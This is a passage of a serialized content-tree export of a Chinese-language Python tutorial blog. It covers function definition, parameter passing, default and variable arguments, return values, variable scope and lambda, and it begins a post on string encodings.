若定义函数无任何动作，则需要使用pass作为点位符或添加docstrings\n",{"type":18,"tag":297,"props":91910,"children":91911},{"class":299,"line":826},[91912],{"type":18,"tag":297,"props":91913,"children":91914},{"emptyLinePlaceholder":793},[91915],{"type":24,"value":796},{"type":18,"tag":297,"props":91917,"children":91918},{"class":299,"line":4524},[91919],{"type":18,"tag":297,"props":91920,"children":91921},{},[91922],{"type":24,"value":91923},"print(func.__doc__)\n",{"type":18,"tag":297,"props":91925,"children":91926},{"class":299,"line":4533},[91927],{"type":18,"tag":297,"props":91928,"children":91929},{},[91930],{"type":24,"value":91931},"print(help(func))\n",{"type":18,"tag":337,"props":91933,"children":91935},{"id":91934},"调用函数",[91936],{"type":24,"value":91934},{"type":18,"tag":34,"props":91938,"children":91939},{},[91940],{"type":24,"value":91941},"调用函数也就是执行函数。如果把函数看作成工具，所以调用函数就是使用工具。调用函数的基本语法如下：",{"type":18,"tag":287,"props":91943,"children":91945},{"code":91944,"language":28712,"meta":8,"className":28710,"style":8},"func(parameters)\n",[91946],{"type":18,"tag":74,"props":91947,"children":91948},{"__ignoreMap":8},[91949],{"type":18,"tag":297,"props":91950,"children":91951},{"class":299,"line":300},[91952],{"type":18,"tag":297,"props":91953,"children":91954},{},[91955],{"type":24,"value":91944},{"type":18,"tag":210,"props":91957,"children":91958},{},[91959,91969],{"type":18,"tag":158,"props":91960,"children":91961},{},[91962,91967],{"type":18,"tag":74,"props":91963,"children":91965},{"className":91964},[],[91966],{"type":24,"value":91764},{"type":24,"value":91968},"：表示已定义好的函数名称",{"type":18,"tag":158,"props":91970,"children":91971},{},[91972,91978,91980,91985],{"type":18,"tag":74,"props":91973,"children":91975},{"className":91974},[],[91976],{"type":24,"value":91977},"parameters",{"type":24,"value":91979},"：可选参数，用于指定各个参数的值，若无参数，则保留 ",{"type":18,"tag":74,"props":91981,"children":91983},{"className":91982},[],[91984],{"type":24,"value":79159},{"type":24,"value":91986}," 即可。",{"type":18,"tag":27,"props":91988,"children":91990},{"id":91989},"参数传递",[91991],{"type":24,"value":91989},{"type":18,"tag":337,"props":91993,"children":91995},{"id":91994},"形参和实参",[91996],{"type":24,"value":91994},{"type":18,"tag":34,"props":91998,"children":91999},{},[92000,92005,92007,92012],{"type":18,"tag":105,"props":92001,"children":92002},{},[92003],{"type":24,"value":92004},"形式参数",{"type":24,"value":92006},"：在定义函数时，函数名后面括号中的参数为“形式参数”。\n",{"type":18,"tag":105,"props":92008,"children":92009},{},[92010],{"type":24,"value":92011},"实际参数",{"type":24,"value":92013},"：在调用一个函数时，函数名后面的括号中的参数为“实际参数”。",{"type":18,"tag":96,"props":92015,"children":92016},{},[92017],{"type":18,"tag":34,"props":92018,"children":92019},{},[92020],{"type":24,"value":92021},"在进行值传递时，改变形式参数的值后，实际参数的值不改变；在进行引用传递时，改变形式参数的值后，实际参数的值也发生改变。",{"type":18,"tag":337,"props":92023,"children":92025},{"id":92024},"位置参数",[92026],{"type":24,"value":92024},{"type":18,"tag":34,"props":92028,"children":92029},{},[92030,92035,92037,92042],{"type":18,"tag":105,"props":92031,"children":92032},{},[92033],{"type":24,"value":92034},"数量必须与定义时一致",{"type":24,"value":92036},"：在调用函数时，指定的实际参数的数量必须与形式参数的数量一致，否则将会抛出",{"type":18,"tag":74,"props":92038,"children":92040},{"className":92039},[],[92041],{"type":24,"value":86955},{"type":24,"value":92043}," 异常信息，提示缺少必要参数。",{"type":18,"tag":34,"props":92045,"children":92046},{},[92047,92052],{"type":18,"tag":105,"props":92048,"children":92049},{},[92050],{"type":24,"value":92051},"位置必须与定义时一致",{"type":24,"value":92053},"：指定的实际参数的位置必须与形式参数的位置一致，否则将会产生以下两种结果：",{"type":18,"tag":210,"props":92055,"children":92056},{},[92057,92069],{"type":18,"tag":158,"props":92058,"children":92059},{},[92060,92062,92067],{"type":24,"value":92061},"抛出 ",{"type":18,"tag":74,"props":92063,"children":92065},{"className":92064},[],[92066],{"type":24,"value":86955},{"type":24,"value":92068}," 异常信息",{"type":18,"tag":158,"props":92070,"children":92071},{},[92072],{"type":24,"value":92073},"产生的结果与预期不符",{"type":18,"tag":34,"props":92075,"children":92076},{},[92077],{"type":24,"value":92078},"举个实例帮助理解，首先我先定义一个函数，功能为输出姓名、年龄、身高：",{"type":18,"tag":287,"props":92080,"children":92082},{"code":92081,"language":28712,"meta":8,"className":28710,"style":8},"def func(name: str,age: int, height: int):\n    \"\"\"\n    功能为输出姓名、年龄、身高\n    参数依次为name, age, height\n    \"\"\"\n    print(f\"当前用户的姓名是{name}，年龄是{age}，身高是{height}\")\n",[92083],{"type":18,"tag":74,"props":92084,"children":92085},{"__ignoreMap":8},[92086,92094,92101,92109,92117,92124],{"type":18,"tag":297,"props":92087,"children":92088},{"class":299,"line":300},[92089],{"type":18,"tag":297,"props":92090,"children":92091},{},[92092],{"type":24,"value":92093},"def func(name: str,age: int, height: int):\n",{"type":18,"tag":297,"props":92095,"children":92096},{"class":299,"line":657},[92097],{"type":18,"tag":297,"props":92098,"children":92099},{},[92100],{"type":24,"value":39824},{"type":18,"tag":297,"props":92102,"children":92103},{"class":299,"line":662},[92104],{"type":18,"tag":297,"props":92105,"children":92106},{},[92107],{"type":24,"value":92108},"    功能为输出姓名、年龄、身高\n",{"type":18,"tag":297,"props":92110,"children":92111},{"class":299,"line":799},[92112],{"type":18,"tag":297,"props":92113,"children":92114},{},[92115],{"type":24,"value":92116},"    参数依次为name, age, height\n",{"type":18,"tag":297,"props":92118,"children":92119},{"class":299,"line":808},[92120],{"type":18,"tag":297,"props":92121,"children":92122},{},[92123],{"type":24,"value":39824},{"type":18,"tag":297,"props":92125,"children":92126},{"class":299,"line":817},[92127],{"type":18,"tag":297,"props":92128,"children":92129},{},[92130],{"type":24,"value":92131},"    print(f\"当前用户的姓名是{name}，年龄是{age}，身高是{height}\")\n",{"type":18,"tag":34,"props":92133,"children":92134},{},[92135],{"type":24,"value":92136},"现在我使用位置传参调用所定义的函数（其中包含错误的调用方式示例）：",{"type":18,"tag":287,"props":92138,"children":92140},{"code":92139,"language":28712,"meta":8,"className":28710,"style":8},"name,age,height=\"路人甲\", 18, 180\n# 正确案例：\nfunc(name,age,height)\n# 错误示范1：数量不一致\nfunc(name,age)                 # 将抛出异常\n# 错误示范2：位置不一致 \nfunc(name,height,age)          # 结果与预期不符\n",[92141],{"type":18,"tag":74,"props":92142,"children":92143},{"__ignoreMap":8},[92144,92152,92160,92168,92176,92184,92192],{"type":18,"tag":297,"props":92145,"children":92146},{"class":299,"line":300},[92147],{"type":18,"tag":297,"props":92148,"children":92149},{},[92150],{"type":24,"value":92151},"name,age,height=\"路人甲\", 18, 180\n",{"type":18,"tag":297,"props":92153,"children":92154},{"class":299,"line":657},[92155],{"type":18,"tag":297,"props":92156,"children":92157},{},[92158],{"type":24,"value":92159},"# 正确案例：\n",{"type":18,"tag":297,"props":92161,"children":92162},{"class":299,"line":662},[92163],{"type":18,"tag":297,"props":92164,"children":92165},{},[92166],{"type":24,"value":92167},"func(name,age,height)\n",{"type":18,"tag":297,"props":92169,"children":92170},{"class":299,"line":799},[92171],{"type":18,"tag":297,"props":92172,"children":92173},{},[92174],{"type":24,"value":92175},"# 错误示范1：数量不一致\n",{"type":18,"tag":297,"props":92177,"children":92178},{"class":299,"line":808},[92179],{"type":18,"tag":297,"props":92180,"children":92181},{},[92182],{"type":24,"value":92183},"func(name,age)                 # 将抛出异常\n",{"type":18,"tag":297,"props":92185,"children":92186},{"class":299,"line":817},[92187],{"type":18,"tag":297,"props":92188,"children":92189},{},[92190],{"type":24,"value":92191},"# 错误示范2：位置不一致 \n",{"type":18,"tag":297,"props":92193,"children":92194},{"class":299,"line":826},[92195],{"type":18,"tag":297,"props":92196,"children":92197},{},[92198],{"type":24,"value":92199},"func(name,height,age)          # 结果与预期不符\n",{"type":18,"tag":337,"props":92201,"children":92203},{"id":92202},"关键字参数",[92204],{"type":24,"value":92202},{"type":18,"tag":34,"props":92206,"children":92207},{},[92208],{"type":24,"value":92209},"关键字参数是指使用形式参数的名字来确定输入的参数值。语法格式如下：",{"type":18,"tag":287,"props":92211,"children":92213},{"code":92212,"language":28712,"meta":8,"className":28710,"style":8},"函数名称(形式参数名2 = 实际参数名2,形式参数名1 = 实际参数名1,...)\n",[92214],{"type":18,"tag":74,"props":92215,"children":92216},{"__ignoreMap":8},[92217],{"type":18,"tag":297,"props":92218,"children":92219},{"class":299,"line":300},[92220],{"type":18,"tag":297,"props":92221,"children":92222},{},[92223],{"type":24,"value":92212},{"type":18,"tag":96,"props":92225,"children":92226},{},[92227],{"type":18,"tag":34,"props":92228,"children":92229},{},[92230],{"type":24,"value":92231},"当使用关键字传参数时，参数的传递位置可以不用一致",{"type":18,"tag":337,"props":92233,"children":92235},{"id":92234},"为参数设置默认值",[92236],{"type":24,"value":92234},{"type":18,"tag":34,"props":92238,"children":92239},{},[92240],{"type":24,"value":92241},"调用函数时若没指定某个参数，则程序将会报错。为解决这一问题，我们可以在定义函数时，直接指定形式参数的默认值，此时当没有输入参数时，可以直接使用定义函数时设置的默认值。示例代码如下：",{"type":18,"tag":287,"props":92243,"children":92245},{"code":92244,"language":28712,"meta":8,"className":28710,"style":8},"def func(age: int, height: int, name: str = \"路人\"):\n    \"\"\"\n    功能为输出姓名、年龄、身高\n    参数依次为name, age, height\n    \"\"\"\n    print(f\"当前用户的姓名是{name}，年龄是{age}，身高是{height}\")\n",[92246],{"type":18,"tag":74,"props":92247,"children":92248},{"__ignoreMap":8},[92249,92257,92264,92271,92278,92285],{"type":18,"tag":297,"props":92250,"children":92251},{"class":299,"line":300},[92252],{"type":18,"tag":297,"props":92253,"children":92254},{},[92255],{"type":24,"value":92256},"def func(age: int, height: int, name: str = \"路人\"):\n",{"type":18,"tag":297,"props":92258,"children":92259},{"class":299,"line":657},[92260],{"type":18,"tag":297,"props":92261,"children":92262},{},[92263],{"type":24,"value":39824},{"type":18,"tag":297,"props":92265,"children":92266},{"class":299,"line":662},[92267],{"type":18,"tag":297,"props":92268,"children":92269},{},[92270],{"type":24,"value":92108},{"type":18,"tag":297,"props":92272,"children":92273},{"class":299,"line":799},[92274],{"type":18,"tag":297,"props":92275,"children":92276},{},[92277],{"type":24,"value":92116},{"type":18,"tag":297,"props":92279,"children":92280},{"class":299,"line":808},[92281],{"type":18,"tag":297,"props":92282,"children":92283},{},[92284],{"type":24,"value":39824},{"type":18,"tag":297,"props":92286,"children":92287},{"class":299,"line":817},[92288],{"type":18,"tag":297,"props":92289,"children":92290},{},[92291],{"type":24,"value":92131},{"type":18,"tag":34,"props":92293,"children":92294},{},[92295,92297,92302,92304,92310,92312,92317],{"type":24,"value":92296},"此时我为",{"type":18,"tag":74,"props":92298,"children":92300},{"className":92299},[],[92301],{"type":24,"value":12133},{"type":24,"value":92303},"形参定义了默认值",{"type":18,"tag":74,"props":92305,"children":92307},{"className":92306},[],[92308],{"type":24,"value":92309},"路人",{"type":24,"value":92311},"，所以我调用时可以不用传递",{"type":18,"tag":74,"props":92313,"children":92315},{"className":92314},[],[92316],{"type":24,"value":12133},{"type":24,"value":92318},"的参数，如下调用方式：",{"type":18,"tag":287,"props":92320,"children":92322},{"code":92321,"language":28712,"meta":8,"className":28710,"style":8},"age,height=18, 180\n# 正确案例\nfunc(age,height)\n",[92323],{"type":18,"tag":74,"props":92324,"children":92325},{"__ignoreMap":8},[92326,92334,92342],{"type":18,"tag":297,"props":92327,"children":92328},{"class":299,"line":300},[92329],{"type":18,"tag":297,"props":92330,"children":92331},{},[92332],{"type":24,"value":92333},"age,height=18, 180\n",{"type":18,"tag":297,"props":92335,"children":92336},{"class":299,"line":657},[92337],{"type":18,"tag":297,"props":92338,"children":92339},{},[92340],{"type":24,"value":92341},"# 正确案例\n",{"type":18,"tag":297,"props":92343,"children":92344},{"class":299,"line":662},[92345],{"type":18,"tag":297,"props":92346,"children":92347},{},[92348],{"type":24,"value":92349},"func(age,height)\n",{"type":18,"tag":96,"props":92351,"children":92352},{},[92353],{"type":18,"tag":34,"props":92354,"children":92355},{},[92356,92358,92364,92366],{"type":24,"value":92357},"在定义函数时，指定默认的形式参数必须在所有参数的末尾，否则将会产生语法错误。另外可以使用 ",{"type":18,"tag":74,"props":92359,"children":92361},{"className":92360},[],[92362],{"type":24,"value":92363},"func.__defaults__",{"type":24,"value":92365}," 查看函数的默认值参数的当前值，其结果是一个元组，如上示例调用该语句，将显示 ",{"type":18,"tag":74,"props":92367,"children":92369},{"className":92368},[],[92370],{"type":24,"value":92371},"('路人',)",{"type":18,"tag":337,"props":92373,"children":92375},{"id":92374},"可变参数",[92376],{"type":24,"value":92374},{"type":18,"tag":34,"props":92378,"children":92379},{},[92380],{"type":24,"value":92381},"可变参数也称可变长参数，即传入函数中的实际参数可以是任意个。定义可变参数存在两种形式：",{"type":18,"tag":210,"props":92383,"children":92384},{},[92385,92396],{"type":18,"tag":158,"props":92386,"children":92387},{},[92388,92394],{"type":18,"tag":74,"props":92389,"children":92391},{"className":92390},[],[92392],{"type":24,"value":92393},"*parameter",{"type":24,"value":92395},"：表示接受任意多个实际参数并将其放到一个元组中；",{"type":18,"tag":158,"props":92397,"children":92398},{},[92399,92405],{"type":18,"tag":74,"props":92400,"children":92402},{"className":92401},[],[92403],{"type":24,"value":92404},"**parameter",{"type":24,"value":92406},"：表示接受任意多个类似关键字参数一样显式赋值的实际参数，并将其放到一个字典中。",{"type":18,"tag":34,"props":92408,"children":92409},{},[92410,92411,92416,92418,92423],{"type":24,"value":76338},{"type":18,"tag":74,"props":92412,"children":92414},{"className":92413},[],[92415],{"type":24,"value":92393},{"type":24,"value":92417},"进行传参时，若参数对象为列表，则可以直接在列表前添加 ",{"type":18,"tag":74,"props":92419,"children":92421},{"className":92420},[],[92422],{"type":24,"value":31597},{"type":24,"value":92424}," 作为参数传入。如下示例：",{"type":18,"tag":287,"props":92426,"children":92428},{"code":92427,"language":28712,"meta":8,"className":28710,"style":8},"lis = [1,2,3,4,5]\nfunc(*lis)        # func函数参数为可变参数\n",[92429],{"type":18,"tag":74,"props":92430,"children":92431},{"__ignoreMap":8},[92432,92440],{"type":18,"tag":297,"props":92433,"children":92434},{"class":299,"line":300},[92435],{"type":18,"tag":297,"props":92436,"children":92437},{},[92438],{"type":24,"value":92439},"lis = [1,2,3,4,5]\n",{"type":18,"tag":297,"props":92441,"children":92442},{"class":299,"line":657},[92443],{"type":18,"tag":297,"props":92444,"children":92445},{},[92446],{"type":24,"value":92447},"func(*lis)        # func函数参数为可变参数\n",{"type":18,"tag":34,"props":92449,"children":92450},{},[92451,92452,92457,92459,92465],{"type":24,"value":76338},{"type":18,"tag":74,"props":92453,"children":92455},{"className":92454},[],[92456],{"type":24,"value":92404},{"type":24,"value":92458},"进行传参时，若参数对象为字典，则可以直接在字典前添加 ",{"type":18,"tag":74,"props":92460,"children":92462},{"className":92461},[],[92463],{"type":24,"value":92464},"**",{"type":24,"value":92424},{"type":18,"tag":287,"props":92467,"children":92469},{"code":92468,"language":28712,"meta":8,"className":28710,"style":8},"def func(**dic):\n    print()\n    for key,value in dic.items():\n        print(\"[\"+key+\"]\"+\"的ASCII值是\"+str(value))\n\ndic = {'a':97,'b':98,'c':99}\nfunc(**dic)        # func函数参数为可变参数\n",[92470],{"type":18,"tag":74,"props":92471,"children":92472},{"__ignoreMap":8},[92473,92481,92489,92497,92505,92512,92520],{"type":18,"tag":297,"props":92474,"children":92475},{"class":299,"line":300},[92476],{"type":18,"tag":297,"props":92477,"children":92478},{},[92479],{"type":24,"value":92480},"def func(**dic):\n",{"type":18,"tag":297,"props":92482,"children":92483},{"class":299,"line":657},[92484],{"type":18,"tag":297,"props":92485,"children":92486},{},[92487],{"type":24,"value":92488},"    print()\n",{"type":18,"tag":297,"props":92490,"children":92491},{"class":299,"line":662},[92492],{"type":18,"tag":297,"props":92493,"children":92494},{},[92495],{"type":24,"value":92496},"    for key,value in dic.items():\n",{"type":18,"tag":297,"props":92498,"children":92499},{"class":299,"line":799},[92500],{"type":18,"tag":297,"props":92501,"children":92502},{},[92503],{"type":24,"value":92504},"        print(\"[\"+key+\"]\"+\"的ASCII值是\"+str(value))\n",{"type":18,"tag":297,"props":92506,"children":92507},{"class":299,"line":808},[92508],{"type":18,"tag":297,"props":92509,"children":92510},{"emptyLinePlaceholder":793},[92511],{"type":24,"value":796},{"type":18,"tag":297,"props":92513,"children":92514},{"class":299,"line":817},[92515],{"type":18,"tag":297,"props":92516,"children":92517},{},[92518],{"type":24,"value":92519},"dic = {'a':97,'b':98,'c':99}\n",{"type":18,"tag":297,"props":92521,"children":92522},{"class":299,"line":826},[92523],{"type":18,"tag":297,"props":92524,"children":92525},{},[92526],{"type":24,"value":92527},"func(**dic)        # func函数参数为可变参数\n",{"type":18,"tag":34,"props":92529,"children":92530},{},[92531],{"type":24,"value":92532},"也可以使用类似关键字参数一样显式赋值的实际参数进行传参，如下示例：",{"type":18,"tag":287,"props":92534,"children":92536},{"code":92535,"language":28712,"meta":8,"className":28710,"style":8},"func(A=65,B=66,C=67)\n",[92537],{"type":18,"tag":74,"props":92538,"children":92539},{"__ignoreMap":8},[92540],{"type":18,"tag":297,"props":92541,"children":92542},{"class":299,"line":300},[92543],{"type":18,"tag":297,"props":92544,"children":92545},{},[92546],{"type":24,"value":92535},{"type":18,"tag":34,"props":92548,"children":92549},{},[92550],{"type":24,"value":92551},"上述两个案例的执行结果为：",{"type":18,"tag":287,"props":92553,"children":92555},{"code":92554},"[a]的ASCII值是97\n[b]的ASCII值是98\n[c]的ASCII值是99\n\n[A]的ASCII值是65\n[B]的ASCII值是66\n[C]的ASCII值是67\n",[92556],{"type":18,"tag":74,"props":92557,"children":92558},{"__ignoreMap":8},[92559],{"type":24,"value":92554},{"type":18,"tag":337,"props":92561,"children":92563},{"id":92562},"类型联合运算符",[92564],{"type":24,"value":92562},{"type":18,"tag":34,"props":92566,"children":92567},{},[92568],{"type":24,"value":92569},"Python提供了一些方法可以将某些部分设置为静态，如编程时为函数参数指定某种数据类型，示例代码如下：",{"type":18,"tag":287,"props":92571,"children":92573},{"code":92572,"language":28712,"meta":8,"className":28710,"style":8},"def func(num: int) -> int:\n    return num**2\n",[92574],{"type":18,"tag":74,"props":92575,"children":92576},{"__ignoreMap":8},[92577,92585],{"type":18,"tag":297,"props":92578,"children":92579},{"class":299,"line":300},[92580],{"type":18,"tag":297,"props":92581,"children":92582},{},[92583],{"type":24,"value":92584},"def func(num: int) -> int:\n",{"type":18,"tag":297,"props":92586,"children":92587},{"class":299,"line":657},[92588],{"type":18,"tag":297,"props":92589,"children":92590},{},[92591],{"type":24,"value":92592},"    return num**2\n",{"type":18,"tag":34,"props":92594,"children":92595},{},[92596],{"type":24,"value":92597},"设置的语法格式如下所示：",{"type":18,"tag":287,"props":92599,"children":92601},{"code":92600},"def 函数名(参数: type) -> type: # 指定返回值类型\n",[92602],{"type":18,"tag":74,"props":92603,"children":92604},{"__ignoreMap":8},[92605],{"type":24,"value":92600},{"type":18,"tag":96,"props":92607,"children":92608},{},[92609],{"type":18,"tag":34,"props":92610,"children":92611},{},[92612,92614,92619],{"type":24,"value":92613},"若是多种数据类型，类型之间可以使用 ",{"type":18,"tag":74,"props":92615,"children":92617},{"className":92616},[],[92618],{"type":24,"value":85163},{"type":24,"value":92620}," 隔开",{"type":18,"tag":27,"props":92622,"children":92624},{"id":92623},"返回值",[92625],{"type":24,"value":92623},{"type":18,"tag":34,"props":92627,"children":92628},{},[92629,92631,92636,92638,92643],{"type":24,"value":92630},"Python中在函数体内使用 ",{"type":18,"tag":74,"props":92632,"children":92634},{"className":92633},[],[92635],{"type":24,"value":79264},{"type":24,"value":92637}," 语句为函数指定返回值。返回值类型任意，位置任意，但是当程序一旦执行至 ",{"type":18,"tag":74,"props":92639,"children":92641},{"className":92640},[],[92642],{"type":24,"value":79264},{"type":24,"value":92644}," 语句将会立即结束函数的执行。代码示例如下：",{"type":18,"tag":287,"props":92646,"children":92648},{"code":92647,"language":28712,"meta":8,"className":28710,"style":8},"def func(n):\n    if n == 1:\n        return \"success\"\n    else:\n        return \"fial\"\n\nfunc(0)  # 当这样写时func函数的返回值未被接受，该指令无效\na = func(1) # 正确写法，成功接受到函数的返回值\nprint(a)\n",[92649],{"type":18,"tag":74,"props":92650,"children":92651},{"__ignoreMap":8},[92652,92660,92668,92676,92683,92691,92698,92706,92714],{"type":18,"tag":297,"props":92653,"children":92654},{"class":299,"line":300},[92655],{"type":18,"tag":297,"props":92656,"children":92657},{},[92658],{"type":24,"value":92659},"def func(n):\n",{"type":18,"tag":297,"props":92661,"children":92662},{"class":299,"line":657},[92663],{"type":18,"tag":297,"props":92664,"children":92665},{},[92666],{"type":24,"value":92667},"    if n == 1:\n",{"type":18,"tag":297,"props":92669,"children":92670},{"class":299,"line":662},[92671],{"type":18,"tag":297,"props":92672,"children":92673},{},[92674],{"type":24,"value":92675},"        return \"success\"\n",{"type":18,"tag":297,"props":92677,"children":92678},{"class":299,"line":799},[92679],{"type":18,"tag":297,"props":92680,"children":92681},{},[92682],{"type":24,"value":32786},{"type":18,"tag":297,"props":92684,"children":92685},{"class":299,"line":808},[92686],{"type":18,"tag":297,"props":92687,"children":92688},{},[92689],{"type":24,"value":92690},"        return \"fial\"\n",{"type":18,"tag":297,"props":92692,"children":92693},{"class":299,"line":817},[92694],{"type":18,"tag":297,"props":92695,"children":92696},{"emptyLinePlaceholder":793},[92697],{"type":24,"value":796},{"type":18,"tag":297,"props":92699,"children":92700},{"class":299,"line":826},[92701],{"type":18,"tag":297,"props":92702,"children":92703},{},[92704],{"type":24,"value":92705},"func(0)  # 当这样写时func函数的返回值未被接受，该指令无效\n",{"type":18,"tag":297,"props":92707,"children":92708},{"class":299,"line":4524},[92709],{"type":18,"tag":297,"props":92710,"children":92711},{},[92712],{"type":24,"value":92713},"a = func(1) # 正确写法，成功接受到函数的返回值\n",{"type":18,"tag":297,"props":92715,"children":92716},{"class":299,"line":4533},[92717],{"type":18,"tag":297,"props":92718,"children":92719},{},[92720],{"type":24,"value":92721},"print(a)\n",{"type":18,"tag":27,"props":92723,"children":92725},{"id":92724},"变量的作用域",[92726],{"type":24,"value":92724},{"type":18,"tag":337,"props":92728,"children":92730},{"id":92729},"局部变量",[92731],{"type":24,"value":92729},{"type":18,"tag":34,"props":92733,"children":92734},{},[92735],{"type":24,"value":92736},"局部变量是指在函数内部定义和使用的变量，它只在函数内部生效，在函数运行之前或者之后，函数内部定义的所有变量名都不存在。",{"type":18,"tag":337,"props":92738,"children":92740},{"id":92739},"全局变量",[92741],{"type":24,"value":92739},{"type":18,"tag":34,"props":92743,"children":92744},{},[92745,92747,92753],{"type":24,"value":92746},"全局变量可以作用于函数的内外部。如果变量是在函数外部定义的，那么该变量称为全局变量。在函数内部定义的变量，在使用",{"type":18,"tag":74,"props":92748,"children":92750},{"className":92749},[],[92751],{"type":24,"value":92752},"global",{"type":24,"value":92754},"关键字进行修饰后将变为全局变量，该变量将不受局部变量的约束，还可以在函数内部对其进行修改。语法结构为：",{"type":18,"tag":287,"props":92756,"children":92758},{"code":92757,"language":28712,"meta":8,"className":28710,"style":8},"global 变量名\n",[92759],{"type":18,"tag":74,"props":92760,"children":92761},{"__ignoreMap":8},[92762],{"type":18,"tag":297,"props":92763,"children":92764},{"class":299,"line":300},[92765],{"type":18,"tag":297,"props":92766,"children":92767},{},[92768],{"type":24,"value":92757},{"type":18,"tag":96,"props":92770,"children":92771},{},[92772],{"type":18,"tag":34,"props":92773,"children":92774},{},[92775],{"type":24,"value":92776},"当局部变量与全局变量重名时，对函数内部的变量进行赋值后，不影响函数外部的变量。",{"type":18,"tag":27,"props":92778,"children":92779},{"id":17487},[92780],{"type":24,"value":17487},{"type":18,"tag":34,"props":92782,"children":92783},{},[92784,92786,92792],{"type":24,"value":92785},"匿名函数是指无名字的函数，通常情况下，该函数只是用一次。使用",{"type":18,"tag":74,"props":92787,"children":92789},{"className":92788},[],[92790],{"type":24,"value":92791},"lambda",{"type":24,"value":92793},"表达式可以创建匿名函数，其语法格式如下：",{"type":18,"tag":287,"props":92795,"children":92797},{"code":92796,"language":28712,"meta":8,"className":28710,"style":8},"result = lambda [arg1 [,arg2,...,argn]]:expression\n",[92798],{"type":18,"tag":74,"props":92799,"children":92800},{"__ignoreMap":8},[92801],{"type":18,"tag":297,"props":92802,"children":92803},{"class":299,"line":300},[92804],{"type":18,"tag":297,"props":92805,"children":92806},{},[92807],{"type":24,"value":92796},{"type":18,"tag":210,"props":92809,"children":92810},{},[92811,92828,92839],{"type":18,"tag":158,"props":92812,"children":92813},{},[92814,92819,92821,92826],{"type":18,"tag":74,"props":92815,"children":92817},{"className":92816},[],[92818],{"type":24,"value":22684},{"type":24,"value":92820}," ：用于调用 ",{"type":18,"tag":74,"props":92822,"children":92824},{"className":92823},[],[92825],{"type":24,"value":92791},{"type":24,"value":92827}," 表达式",{"type":18,"tag":158,"props":92829,"children":92830},{},[92831,92837],{"type":18,"tag":74,"props":92832,"children":92834},{"className":92833},[],[92835],{"type":24,"value":92836},"[arg1 [,arg2,...,argn]]",{"type":24,"value":92838},"：可选参数，用于指定要传递的参数列表",{"type":18,"tag":158,"props":92840,"children":92841},{},[92842,92847],{"type":18,"tag":74,"props":92843,"children":92845},{"className":92844},[],[92846],{"type":24,"value":87686},{"type":24,"value":92848},"：必选参数，用于指定一个实现具体功能的表达式",{"type":18,"tag":96,"props":92850,"children":92851},{},[92852],{"type":18,"tag":34,"props":92853,"children":92854},{},[92855,92860],{"type":18,"tag":74,"props":92856,"children":92858},{"className":92857},[],[92859],{"type":24,"value":92791},{"type":24,"value":92861}," 参数可以存在多个，但表达式只能有一个，即只能返回一个值，而且不能出现其他非表达式语句",{"type":18,"tag":651,"props":92863,"children":92864},{},[92865],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":92867},[92868,92869,92870,92871,92872],{"id":91682,"depth":662,"text":91682},{"id":91989,"depth":662,"text":91989},{"id":92623,"depth":662,"text":92623},{"id":92724,"depth":662,"text":92724},{"id":17487,"depth":662,"text":17487},"content:blog:2025-07-07-python-函数.md","blog\u002F2025-07-07-python-函数.md","blog\u002F2025-07-07-python-函数",{"_path":92877,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":92878,"description":92879,"date":92880,"tags":92881,"body":92882,"_type":672,"_id":94779,"_source":674,"_file":94780,"_stem":94781,"_extension":677},"\u002Fblog\u002F2025-07-06-python","Python-字符串","Python字符串操作：格式化、切片、编码转换、正则匹配与常用方法。","2025-07-06",[28616,75509],{"type":15,"children":92883,"toc":94775},[92884,92887,92892,92902,92912,92922,92937,93017,93065,93077,93113,93127,93185,93196,93238,93251,93263,93333,93347,93352,93357,93377,93408,93413,93445,93459,93479,93502,93518,93538,93614,93619,93624,93638,93680,93684,93696,93719,93756,93761,93773,93787,93822,93827,93858,93863,93873,93887,93931,93956,93979,94024,94047,94065,94079,94096,94110,94115,94126,94140,94151,94165,94170,94181,94195,94206,94217,94231,94242,94256,94261,94266,94293,94305,94319,94351,94359,94556,94698,94703,94758,94763,94771],{"type":18,"tag":121,"props":92885,"children":92886},{},[],{"type":18,"tag":27,"props":92888,"children":92890},{"id":92889},"字符串编码转换",[92891],{"type":24,"value":92889},{"type":18,"tag":34,"props":92893,"children":92894},{},[92895,92900],{"type":18,"tag":105,"props":92896,"children":92897},{},[92898],{"type":24,"value":92899},"美国标准信息交换码（ASCII码）",{"type":24,"value":92901},"：最多只能表示256个符号，每个符号占一个字节",{"type":18,"tag":34,"props":92903,"children":92904},{},[92905,92910],{"type":18,"tag":105,"props":92906,"children":92907},{},[92908],{"type":24,"value":92909},"中文编码标准（GBK 和 GB2312）",{"type":24,"value":92911},"：一个字节表示英文字母，两个字节表示中文字符",{"type":18,"tag":34,"props":92913,"children":92914},{},[92915,92920],{"type":18,"tag":105,"props":92916,"children":92917},{},[92918],{"type":24,"value":92919},"国际通用编码（UTF-8）",{"type":24,"value":92921},"：采用一个字节表示英文字符，3个字节表示中文",{"type":18,"tag":96,"props":92923,"children":92924},{},[92925],{"type":18,"tag":34,"props":92926,"children":92927},{},[92928,92930,92935],{"type":24,"value":92929},"Python 3.x 中，",{"type":18,"tag":105,"props":92931,"children":92932},{},[92933],{"type":24,"value":92934},"默认采用UTF-8编码",{"type":24,"value":92936},"有效的解决了中文乱码的问题",{"type":18,"tag":34,"props":92938,"children":92939},{},[92940,92942,92947,92948,92954,92956,92961,92962,92967,92969,92974,92975,92980,92982,92987,92989,92994,92996,93001,93003,93008,93010,93015],{"type":24,"value":92941},"Python中有",{"type":18,"tag":74,"props":92943,"children":92945},{"className":92944},[],[92946],{"type":24,"value":30473},{"type":24,"value":10315},{"type":18,"tag":74,"props":92949,"children":92951},{"className":92950},[],[92952],{"type":24,"value":92953},"bytes",{"type":24,"value":92955},"这两种常用的字符串类型，它们不能拼接在一起。其中，",{"type":18,"tag":74,"props":92957,"children":92959},{"className":92958},[],[92960],{"type":24,"value":30473},{"type":24,"value":78878},{"type":18,"tag":105,"props":92963,"children":92964},{},[92965],{"type":24,"value":92966},"Unicode字符",{"type":24,"value":92968},"（ASCII码或者其他），",{"type":18,"tag":74,"props":92970,"children":92972},{"className":92971},[],[92973],{"type":24,"value":92953},{"type":24,"value":78878},{"type":18,"tag":105,"props":92976,"children":92977},{},[92978],{"type":24,"value":92979},"二进制数据",{"type":24,"value":92981},"（包括编码的文本），通常情况下，",{"type":18,"tag":74,"props":92983,"children":92985},{"className":92984},[],[92986],{"type":24,"value":30473},{"type":24,"value":92988},"在内存中以Unicode字符表示，一个字符对应若干个字节。但是要在网络上传输",{"type":18,"tag":74,"props":92990,"children":92992},{"classN